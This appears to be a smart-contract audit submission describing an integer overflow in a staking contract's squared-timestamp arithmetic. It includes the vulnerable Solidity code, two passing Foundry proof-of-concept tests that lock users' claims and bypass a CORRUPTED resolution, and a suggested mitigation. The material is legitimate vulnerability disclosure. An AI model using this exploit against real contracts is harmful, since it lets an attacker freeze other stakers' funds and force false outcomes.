FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Huge standard ERC20 stakes can overflow k=2 arithmetic, locking claims or bypassing auto-CORRUPTED

Author Revealed upon completion

Root + Impact

Description

  • Expected behavior: any stake amount accepted for a supported standard ERC20 should remain safe for later risk-window observation and claim accounting.

  • Issue: ConfidencePool accepts unbounded token amounts, then multiplies those amounts by absolute block timestamps squared. A huge standard ERC20 stake can succeed at deposit time but overflow later in _markRiskWindowStart or _bonusShare.

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
}

The final pro-rata step uses Math.mulDiv, but the T * T * amount inputs are checked uint256 arithmetic and can revert before mulDiv is reached.

Risk

Likelihood:

  • Low. The path requires an allowlisted standard ERC20 with extremely large unit supply or denomination, and an attacker controlling enough units to stake above type(uint256).max / timestamp^2.

  • No callback, fee, rebase, or non-standard token behavior is required once such a token is supported.

Impact:

  • High. A single accepted stake can make SURVIVED or EXPIRED claims revert for all users who reach _bonusShare, locking principal and bonus.

  • The same overflow can roll back active-risk observation, leave riskWindowStart == 0, and let a later CORRUPTED registry resolve as EXPIRED through claimExpired.

Proof of Concept

Native Foundry tests:

function testPocHugeStandardTokenCanLockSurvivedClaimsByOverflowingScoreInputs() external {
uint256 terminalTime = pool.expiry() - 1;
uint256 hugeStake = type(uint256).max / (terminalTime * terminalTime) + 1;
_stake(alice, hugeStake);
_stake(bob, ONE);
_enterRisk();
vm.warp(terminalTime);
_contributeBonus(carol, ONE);
_flagSurvived();
bytes memory panic = abi.encodeWithSelector(bytes4(0x4e487b71), uint256(0x11));
vm.prank(bob);
vm.expectRevert(panic);
pool.claimSurvived();
}
function testPocHugeStandardTokenCanSuppressRiskWindowAndBypassAutoCorrupted() external {
uint256 riskTime = pool.expiry() - 1;
uint256 hugeStake = type(uint256).max / (riskTime * riskTime) + 1;
_stake(alice, hugeStake);
_stake(bob, ONE);
_contributeBonus(carol, ONE);
vm.warp(riskTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(abi.encodeWithSelector(bytes4(0x4e487b71), uint256(0x11)));
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(bob);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
}

Test locations:

test/unit/ConfidencePool.k2Bonus.t.sol::testPocHugeStandardTokenCanLockSurvivedClaimsByOverflowingScoreInputs
test/unit/ConfidencePool.k2Bonus.t.sol::testPocHugeStandardTokenCanSuppressRiskWindowAndBypassAutoCorrupted

Targeted command:

forge test --match-test 'testPocHugeStandardTokenCan(LockSurvivedClaimsByOverflowingScoreInputs|SuppressRiskWindowAndBypassAutoCorrupted)' -vvv

Observed output:

Ran 2 tests for test/unit/ConfidencePool.k2Bonus.t.sol:ConfidencePoolK2BonusTest
[PASS] testPocHugeStandardTokenCanLockSurvivedClaimsByOverflowingScoreInputs() (gas: 655099)
[PASS] testPocHugeStandardTokenCanSuppressRiskWindowAndBypassAutoCorrupted() (gas: 629256)
Suite result: ok. 2 passed; 0 failed; 0 skipped

Recommended Mitigation

Bound k=2 inputs or use bounded elapsed time / 512-bit intermediates.

- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ uint256 userPlus = checkedScore(T, userEligible, userSumStakeTimeSq[u]);
+ uint256 plus = checkedScore(T, snapshotTotalStaked, snapshotSumStakeTimeSq);

Apply the same bound to _markRiskWindowStart and _clampUserSums; otherwise the risk-window observation bypass remains reachable.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!